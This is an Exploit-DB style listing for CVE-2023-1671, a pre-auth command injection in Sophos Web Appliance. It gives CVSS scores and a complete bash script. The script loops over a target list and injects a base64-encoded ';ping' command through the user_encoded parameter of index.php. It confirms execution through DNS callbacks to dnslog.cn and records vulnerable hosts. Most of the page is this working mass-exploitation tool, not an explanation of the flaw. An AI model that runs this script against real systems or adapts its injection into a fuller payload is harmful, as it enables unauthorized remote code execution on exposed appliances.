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exploitdbBehnam Abasi VandaEDB-ID:51396
HistoryApr 25, 2023 - 12:00 a.m.

Sophos Web Appliance 4.3.10.4 - Pre-auth command injection

2023-04-2500:00:00
Behnam Abasi Vanda
www.exploit-db.com
217
sophos web appliance
pre-auth command injection
ubuntu
cve-2023-1671
shodan dork
vulnerability analysis

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.8

Confidence

High

EPSS

0.962

Percentile

99.6%

JSON
#!/bin/bash 
# Exploit Title: Sophos Web Appliance 4.3.10.4 - Pre-auth command injection
# Exploit Author: Behnam Abasi Vanda
# Vendor Homepage: https://www.sophos.com
# Version:  Sophos Web Appliance older than version 4.3.10.4
# Tested on: Ubuntu
# CVE : CVE-2023-1671
# Shodan Dork: title:"Sophos Web Appliance"
# Reference : https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
# Reference : https://vulncheck.com/blog/cve-2023-1671-analysis



TARGET_LIST="$1"

# =====================
BOLD="\033[1m"
RED="\e[1;31m"
GREEN="\e[1;32m"
YELLOW="\e[1;33m"
BLUE="\e[1;34m"
NOR="\e[0m"
# ====================


get_new_subdomain()
{
cat  MN.txt | grep 'YES' >/dev/null;ch=$?
           if [ $ch -eq 0 ];then
		echo -e "	[+] Trying to get Subdomain $NOR"
	   rm -rf cookie.txt
	  sub=`curl -i -c cookie.txt -s -k -X $'GET' \
          -H $'Host: www.dnslog.cn' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/112.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://www.dnslog.cn/' \
	    $'http://www.dnslog.cn/getdomain.php?t=0' | grep dnslog.cn` 
      	   echo -e "	[+]$BOLD$GREEN Subdomain : $sub $NOR"
  	   fi
}

check_vuln()
{
curl -k --trace-ascii % "https://$1/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';ping $sub -c 3 #" | base64)"

req=`curl -i -s -k -b cookie.txt -X $'GET' \
    -H $'Host: www.dnslog.cn' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://www.dnslog.cn/' \
       $'http://www.dnslog.cn/getrecords.php?t=0'`
       
echo "$req"  | grep 'dnslog.cn' >/dev/null;ch=$?
           if [ $ch -eq 0 ];then
           	echo "YES" > MN.txt
		echo -e "	[+]$BOLD $RED https://$1 Vulnerable :D $NOR"
		echo "https://$1" >> vulnerable.lst			
	        else 
       		echo -e "	[-] https://$1 Not Vulnerable :| $NOR"
     		echo "NO" > MN.txt
	   fi
}

echo '

 ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•—   ā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—    ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—  ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—        ā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—
ā–ˆā–ˆā•”ā•ā•ā•ā•ā•ā–ˆā–ˆā•‘   ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā•ā•ā•    ā•šā•ā•ā•ā•ā–ˆā–ˆā•—ā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā•—ā•šā•ā•ā•ā•ā–ˆā–ˆā•—ā•šā•ā•ā•ā•ā–ˆā–ˆā•—      ā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā•ā•ā•ā•šā•ā•ā•ā•ā–ˆā–ˆā•‘
ā–ˆā–ˆā•‘     ā–ˆā–ˆā•‘   ā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā–ˆā–ˆā•‘ ā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā• ā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā•šā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—    ā–ˆā–ˆā•”ā•
ā–ˆā–ˆā•‘     ā•šā–ˆā–ˆā•— ā–ˆā–ˆā•”ā•ā–ˆā–ˆā•”ā•ā•ā•ā•šā•ā•ā•ā•ā•ā–ˆā–ˆā•”ā•ā•ā•ā• ā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā•ā•  ā•šā•ā•ā•ā–ˆā–ˆā•—ā•šā•ā•ā•ā•ā• ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā•ā–ˆā–ˆā•—  ā–ˆā–ˆā•”ā• 
ā•šā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā•šā–ˆā–ˆā–ˆā–ˆā•”ā• ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—    ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā•šā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•       ā–ˆā–ˆā•‘ā•šā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•  ā–ˆā–ˆā•‘  
 ā•šā•ā•ā•ā•ā•ā•  ā•šā•ā•ā•ā•  ā•šā•ā•ā•ā•ā•ā•ā•    ā•šā•ā•ā•ā•ā•ā•ā• ā•šā•ā•ā•ā•ā•ā• ā•šā•ā•ā•ā•ā•ā•ā•ā•šā•ā•ā•ā•ā•ā•        ā•šā•ā• ā•šā•ā•ā•ā•ā•ā•   ā•šā•ā•  
                                                                                        
ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā•—   ā–ˆā–ˆā•—    ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•—  ā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā•—   ā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā•—   ā–ˆā–ˆā–ˆā•—       ā–ˆā–ˆā•—    
ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—ā•šā–ˆā–ˆā•— ā–ˆā–ˆā•”ā•    ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—ā–ˆā–ˆā•”ā•ā•ā•ā•ā•ā–ˆā–ˆā•‘  ā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā•—  ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā•‘    ā–ˆā–ˆā•—ā•šā–ˆā–ˆā•—   
ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā• ā•šā–ˆā–ˆā–ˆā–ˆā•”ā•     ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā–ˆā•—  ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā–ˆā–ˆā•— ā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā–ˆā–ˆā–ˆā–ˆā•”ā–ˆā–ˆā•‘    ā•šā•ā• ā–ˆā–ˆā•‘   
ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—  ā•šā–ˆā–ˆā•”ā•      ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—ā–ˆā–ˆā•”ā•ā•ā•  ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ā•šā–ˆā–ˆā•—ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ā•šā–ˆā–ˆā•”ā•ā–ˆā–ˆā•‘    ā–„ā–ˆā•— ā–ˆā–ˆā•‘   
ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•   ā–ˆā–ˆā•‘       ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā•ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•‘  ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ ā•šā–ˆā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā•‘  ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ ā•šā•ā• ā–ˆā–ˆā•‘    ā–€ā•ā•ā–ˆā–ˆā•”ā•   
ā•šā•ā•ā•ā•ā•ā•    ā•šā•ā•       ā•šā•ā•ā•ā•ā•ā• ā•šā•ā•ā•ā•ā•ā•ā•ā•šā•ā•  ā•šā•ā•ā•šā•ā•  ā•šā•ā•ā•ā•ā•šā•ā•  ā•šā•ā•ā•šā•ā•     ā•šā•ā•       ā•šā•ā•    
                                                                                       
                                                                                        '
if test "$#" -ne 1; then
    echo       "   ----------------------------------------------------------------"
    echo "    [!] please give the target list file : bash CVE-2023-1671.sh targets.txt "
    echo       "   ---------------------------------------------------------------"
    exit
fi



rm -rf cookie.txt
echo "YES" > MN.txt
for target in `cat $TARGET_LIST`
do

get_new_subdomain;
echo "	[~] Checking $target"
	check_vuln "$target"
done
rm -rf MN.txt
rm -rf cookie.txt

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CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.8

Confidence

High

EPSS

0.962

Percentile

99.6%

JSON
Related for EDB-ID:51396
attackerkb1nvd1packetstorm1prion1nuclei1cvelist1saint2nessus1githubexploit4zdt1cisa_kev1cve1thn1